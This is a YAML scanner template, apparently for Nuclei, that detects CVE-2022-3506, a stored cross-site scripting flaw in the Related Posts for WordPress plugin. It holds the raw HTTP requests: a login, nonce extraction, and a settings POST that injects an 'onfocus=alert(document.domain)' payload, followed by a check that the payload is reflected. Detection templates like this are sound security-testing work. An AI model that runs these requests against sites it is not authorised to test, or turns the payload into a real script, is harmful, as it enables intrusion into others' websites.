65 lines
2.7 KiB
YAML
65 lines
2.7 KiB
YAML
id: CVE-2022-3506
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info:
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name: WordPress Related Posts <= 2.1.2 - Cross-Site Scripting
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author: arafatansari
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severity: medium
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description: |
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The Related Posts for WordPress plugin is vulnerable to stored XSS, specifically in the rp4wp[heading_text] parameter because the user input is not properly sanitized, allowing the insertion of JavaScript code that can exploit the vulnerability.
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reference:
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- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
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- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
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- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2022-3506
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cwe-id: CWE-79
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metadata:
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verified: "true"
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tags: wordpress,wp,wp-plugin,relatedposts,cve,cve2022,xss,authenticated,huntr
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requests:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
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Host: {{Hostname}}
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POST /wp-admin/options.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
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GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- "contains(all_headers_4, 'text/html')"
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- "status_code_4 == 200"
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- 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
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- "contains(body_4, 'The amount of automatically')"
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condition: and
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extractors:
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- type: regex
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name: nonce
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part: body
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group: 1
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regex:
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- 'name="_wpnonce" value="([0-9a-z]+)" />'
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internal: true
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